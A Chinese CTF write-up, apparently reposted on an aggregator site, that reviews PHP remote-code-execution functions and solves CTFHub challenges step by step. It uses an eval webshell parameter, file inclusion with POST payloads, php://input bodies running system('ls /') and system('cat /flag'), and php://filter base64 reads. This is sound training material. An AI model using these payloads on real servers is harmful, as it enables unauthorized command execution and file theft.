RCE复习(ctfhub上)

这篇具有很好参考价值的文章主要介绍了RCE复习(ctfhub上)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、rce漏洞概述

        在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。

二、常见RCE漏洞函数
1.系统命令执行函数

  1. system():能将字符串作为OS命令执行,且返回命令执行结果;
  2. exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
  3. shell_exec():能将字符串作为OS命令执行
  4. passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
  5. popen():打开进程文件指针
  6. proc_open():与popen()类似
  7. pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;
2.代码执行函数

  1. eval():将字符串作为php代码执行;
  2. assert():将字符串作为php代码执行;
  3. preg_replace():正则匹配替换字符串;
  4. create_function():主要创建匿名函数;
  5. call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
  6. call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行。

三、RCE漏洞的绕过方式:

具体看:RCE漏洞详解及绕过总结(全面)-CSDN博客

接下里看例题:

一.eval执行

进入题目就看见了源代码

RCE复习(ctfhub上),java,服务器,前端

php函数意思是:

是否由变量cmd 如果有,就执行eval($_REQUEST["cmd"]);

也就是木马

补充:eval函数,将字符串认为是php代码来执行。

具体:

__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

所以我们在访问的时候使用变量 cmd

先直接查看根目录有没有flag

/?cmd=sysytem("ls");

注意:这几条命令最后面的“;”都不能省略

RCE复习(ctfhub上),java,服务器,前端

发现有php文件,但是没有flag文件

那么就查看上一级目录

/?cmd=system("ls /");

RCE复习(ctfhub上),java,服务器,前端

发现了有flag文件,那么就访问这个文件

/?cmd=system("cat /flag_3748");

RCE复习(ctfhub上),java,服务器,前端

得到flag

二.文件包含

RCE复习(ctfhub上),java,服务器,前端

进入题目,看见有一个GET传参,然后下面还有一个shell的超链接

点开看一下

RCE复习(ctfhub上),java,服务器,前端

这里又包含了eval函数,而且要求赋值给ctfhub,原网页还有一个get传参 所以这题应该是get+post传参的 并且要赋值给ctfhub才可以执行命令(这里就要用到hackbar了)

那么就按照它说的做,先用get传参

/?file=shell.txt

RCE复习(ctfhub上),java,服务器,前端

然后再进行post传参

ctfhub=system("ls");

RCE复习(ctfhub上),java,服务器,前端

我们通过查看根目录发现了两个文件

但是并没有发现flag文件

所以查看上一级目录

ctfhub=system("ls /");

RCE复习(ctfhub上),java,服务器,前端

发现了flag的字眼,继续查找flag

ctfhub=system("cat /flag");

RCE复习(ctfhub上),java,服务器,前端

发现了flag

三.php://input

先了解一下是什么?

php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中。

 所以php://input要用 post请求才可以

使用php://input的条件也满足

RCE复习(ctfhub上),java,服务器,前端

接下来就是要用bp进行抓包,然后操作

先在题目地址栏中访问php://input,然后抓包(/?file=php://input)

<?php system("ls");?>

注:在本题使用<?php system('ls');?>无效,要直接使用<?php system('ls /');?>

查看根目录

并且这里修改发送方法为post,目标修改为/?file=php://input

RCE复习(ctfhub上),java,服务器,前端

<?php system("ls /");?>

查看上一级目录

RCE复习(ctfhub上),java,服务器,前端

<?php system("cat /flag_8199");?>

查看这个flag下的所有内容

RCE复习(ctfhub上),java,服务器,前端

得到flag

这题值得注意的点就是php://input 的用法以及它的使用条件 php://input需要用post请求的方式

四.远程包含

RCE复习(ctfhub上),java,服务器,前端

进入题目,首先看到源代码,然后下面有个phpinfo的链接,点开看一下

RCE复习(ctfhub上),java,服务器,前端

发现符合php://input的使用条件,所以本题可以使用php://input的方法来做

用bp抓包,做法和上一题一样的

首先访问/?file=php://input,然后抓包

RCE复习(ctfhub上),java,服务器,前端

抓到包以后,发送到repeater,把GET修改为POST,目标修改为/?file=php://input

并且在body部分执行  <?php system("ls");?> 查看根目录

RCE复习(ctfhub上),java,服务器,前端

然后查看上一级目录  <?php system("ls /");?>

RCE复习(ctfhub上),java,服务器,前端

最后执行  <?php system("cat /flag");?>

查找flag,并且得到了flag

五.读取源代码

这道题需要我们读取源代码  

这里用php://input发现执行不了 就需要用到另外的一个伪协议 php://filter

先来认识一下它

RCE复习(ctfhub上),java,服务器,前端

RCE复习(ctfhub上),java,服务器,前端

使用的方法:

/?file=php://filter/read=convert.base64-encode/recource=index.php;

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

convert.base64

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。

convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。

RCE复习(ctfhub上),java,服务器,前端

进入题目,发现它已经给了我们flag的位置

我们直接执行命令:?file=php://filter/resource=/flag

RCE复习(ctfhub上),java,服务器,前端

得到flag

还可以:

执行命令/?file=php://filter/read=convert.base64-encode/resource=/flag

让flag以base64编码的方式呈现出来

然后解码

RCE复习(ctfhub上),java,服务器,前端

RCE复习(ctfhub上),java,服务器,前端

同样的,也可以得到flag文章来源地址https://www.toymoban.com/news/detail-861780.html

到了这里,关于RCE复习(ctfhub上)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFHub技能树web之RCE(二)

    第五题:远程包含 根据题目,使用远程包含进行 打开phpinfo,可以看到allow_url_fopen和allow_url_include都是On,因此可以使用php://input,由于代码会检查file中的内容,因此不能够使用php://filter包含文件,使用php://input通过hackbar使用POST方式发包,抓包并在最后一行加php代码执行 成功

    2024年02月22日
    浏览(10)
  • 关于 java如何集成chatgpt,如何集成到html5前端界面,如何实现多伦对话,如何申请域名,如何申请服务器,搭建环境(一)

    Java如何集成ChatGPT,如何集成到HTML5前端界面,如何实现多伦对话 随着人工智能技术的不断发展,聊天机器人已经成为了人们日常生活中不可或缺的一部分。ChatGPT是一种基于自然语言处理技术的聊天机器人,它可以通过对话来理解用户的需求,并给出相应的回答。在本文中,

    2024年02月03日
    浏览(40)
  • vue获取本地时间和服务器时间(顺便复习vuex的内容)

    1. vue 实时获取时间 2. 获取服务器的时间,防止本机时间获取错误 场景: 本机经常关机,时间获取不同步,但是服务器时间是同步的,需要获取服务器的时间显示 解决办法: - 1. 在后端服务器的响应头部可以获取date, - 2. 使用简单状态管理store来获取本地时间与服务器的时

    2024年02月09日
    浏览(13)
  • 前后端服务器分离时,前端如何上传图片到前端服务器?

    当前后端服务器分离时,前端上传图片到前端服务器可以采用以下几种方式: 1. 直接上传到前端服务器:可以通过使用HTML的`input type=\\\"file\\\"`元素,让用户选择图片文件并直接上传到前端服务器。前端服务器可以使用后端提供的API接口处理上传请求,然后将图片保存到前端服务

    2024年04月27日
    浏览(11)
  • 服务器发版(前端如何自己连接服务器发版)

    1.下载FinalShell远程连接工具 http://www.hostbuf.com/downloads/finalshell_windows_x64.exe 2.打开exe 3.创建连接,SSH连接 4.新建完连接后,快速连接后列表中多了一条数据 5. 6.指令 which nginx 查找nginx文件夹所在位置 找到后cd到nginx 位置 进入nginx下的conf文件夹,找到nginx.conf配置转发 7.cd 到sbin文

    2024年01月17日
    浏览(13)
  • 前端项目部署到服务器

    1.准备工具 服务器:阿里云 腾讯云 华为云都可以 我这里使用的是阿里云ECS共享型(推荐) xshell:用于远程连接服务器,修改配置文件 xftp:用于连接远程服务器,将本地资源上传到远程服务器 2.服务器设置 1.第一次需重置实例密码 2.配置安全组规则 开启常用的端口 22必须要开

    2024年02月04日
    浏览(18)
  • 前端项目部署,阿里云服务器部署前端项目,超详细

    需求背景 :作为一个前端,特别身处于中小公司时,对于部署也需要有所了解。本次就介绍前端基础的项目部署。本次使用的是阿里云服务器进行的部署 1.准备打包好的前端代码(dist包)或者是一个html文件 2.购买阿里云服务器,并且连接 3.为阿里云服务器安装ngnix开启web服务

    2024年02月04日
    浏览(15)
  • 腾讯云服务器+宝塔+后端+前端发布

    1、申请云服务器。登陆。 https://cloud.tencent.com/   创建实例 最好重置密码,并记住。  配置安全组,当我们是学习的时候,全部开放好了。   有些版本是去“防火墙”那里配置。 轻量应用服务器(试用的)     2、安装Docker。在安装云服务时,我选了Centos7.8+Docker。这里就不

    2024年02月13日
    浏览(21)
  • 前端部署(包括node服务端部署)--手动部署到服务器

    在阿里云(或者其他厂商)购买域名,有些域名需要备案 接着购买服务器,镜像选择Ubuntu/CentOS的(Linux) 公网带宽的就按使用量来收费:10Mbps(自己使用的话) 系统配置:配置密码 之后购买成功,获得公网ip 初次先进行远程连接,在终端里面:ssh root@公网ip(powershell可以填写ssh了)

    2024年03月25日
    浏览(16)
  • 使用宝塔面板部署前端项目到服务器

    目录 文章目录 前言 一、第一步:创建文件夹 二、第二步:部署前端项目 三、第三步:打开防火墙 前言 第一步:创建文件夹 第二步:部署前端项目 第三步:打开防火墙 总结 在此之前,我们已经创建了宝塔面板账号、拥有了一台服务器。现在,我们想让我们的前端能够像

    2024年02月03日
    浏览(24)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包